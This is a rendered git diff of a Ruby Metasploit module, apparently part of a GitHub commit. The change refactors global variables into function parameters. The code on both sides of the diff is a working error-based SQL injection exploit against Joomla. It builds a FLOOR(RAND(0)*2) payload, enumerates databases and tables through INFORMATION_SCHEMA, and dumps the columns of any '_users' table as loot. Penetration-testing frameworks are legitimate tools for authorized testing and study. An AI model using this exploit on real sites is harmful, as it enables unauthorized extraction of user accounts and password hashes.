@@ -60,29 +60,29 @@ def check
60
60
61
61
end
62
62
63
- def request ( query )
64
- query = "#{ $ payload} " % query
63
+ def request ( query , payload , lmark , rmark )
64
+ query = "#{ payload } " % query
65
65
res = sqli ( query )
66
66
67
67
# Error based SQL Injection
68
- if res && res . code == 500 && res . body =~ /#{ $ lmark} (.*)#{ $ rmark} /
68
+ if res && res . code == 500 && res . body =~ /#{ lmark } (.*)#{ rmark } /
69
69
$1
70
70
end
71
71
end
72
72
73
- def query_databases
73
+ def query_databases ( payload , lmark , rmark )
74
74
dbs = [ ]
75
75
76
76
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
77
77
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
78
78
79
- dbc = request ( query )
79
+ dbc = request ( query , payload , lmark , rmark )
80
80
81
81
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
82
82
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
83
83
84
84
0 . upto ( dbc . to_i - 1 ) do |i |
85
- dbname = request ( query_fmt % i )
85
+ dbname = request ( query_fmt % i , payload , lmark , rmark )
86
86
dbs << dbname
87
87
vprint_good ( dbname )
88
88
end
@@ -93,14 +93,14 @@ def query_databases
93
93
dbs
94
94
end
95
95
96
- def query_tables ( database )
96
+ def query_tables ( database , payload , lmark , rmark )
97
97
tbs = [ ]
98
98
99
99
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
100
100
query << 'FROM INFORMATION_SCHEMA.TABLES '
101
101
query << "WHERE table_schema IN (0x#{ database . unpack ( 'H*' ) [ 0 ] } ))"
102
102
103
- tbc = request ( query )
103
+ tbc = request ( query , payload , lmark , rmark )
104
104
105
105
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
106
106
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
@@ -109,18 +109,18 @@ def query_tables(database)
109
109
110
110
vprint_status ( 'tables in database: %s' % database )
111
111
0 . upto ( tbc . to_i - 1 ) do |i |
112
- tbname = request ( query_fmt % i )
112
+ tbname = request ( query_fmt % i , payload , lmark , rmark )
113
113
vprint_good ( tbname )
114
114
tbs << tbname if tbname =~ /_users$/
115
115
end
116
116
tbs
117
117
end
118
118
119
- def query_columns ( database , table )
119
+ def query_columns ( database , table , payload , lmark , rmark )
120
120
cols = [ ]
121
121
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{ database } .#{ table } )"
122
122
123
- colc = request ( query )
123
+ colc = request ( query , payload , lmark , rmark )
124
124
vprint_status ( colc )
125
125
126
126
valid_cols = [ # joomla_users
@@ -151,7 +151,7 @@ def query_columns(database, table)
151
151
l = 1
152
152
record [ col ] = ''
153
153
loop do
154
- value = request ( query_fmt % [ col , l , i ] )
154
+ value = request ( query_fmt % [ col , l , i ] , payload , lmark , rmark )
155
155
break if value . blank?
156
156
record [ col ] << value
157
157
l += 54
@@ -164,21 +164,21 @@ def query_columns(database, table)
164
164
end
165
165
166
166
def run
167
- $ lmark = Rex ::Text . rand_text_alpha ( 5 )
168
- $ rmark = Rex ::Text . rand_text_alpha ( 5 )
167
+ lmark = Rex ::Text . rand_text_alpha ( 5 )
168
+ rmark = Rex ::Text . rand_text_alpha ( 5 )
169
169
170
- $ payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
171
- $ payload << "0x#{ $ lmark. unpack ( 'H*' ) [ 0 ] } ,"
172
- $ payload << '%s,'
173
- $ payload << "0x#{ $ rmark. unpack ( 'H*' ) [ 0 ] } ,"
174
- $ payload << 'FLOOR(RAND(0)*2)'
175
- $ payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
170
+ payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
171
+ payload << "0x#{ lmark . unpack ( 'H*' ) [ 0 ] } ,"
172
+ payload << '%s,'
173
+ payload << "0x#{ rmark . unpack ( 'H*' ) [ 0 ] } ,"
174
+ payload << 'FLOOR(RAND(0)*2)'
175
+ payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
176
176
177
- dbs = query_databases
177
+ dbs = query_databases ( payload , lmark , rmark )
178
178
dbs . each do |db |
179
- tables = query_tables ( db )
179
+ tables = query_tables ( db , payload , lmark , rmark )
180
180
tables . each do |table |
181
- cols = query_columns ( db , table )
181
+ cols = query_columns ( db , table , payload , lmark , rmark )
182
182
next if cols . blank?
183
183
path = store_loot (
184
184
'joomla.users' ,
0 commit comments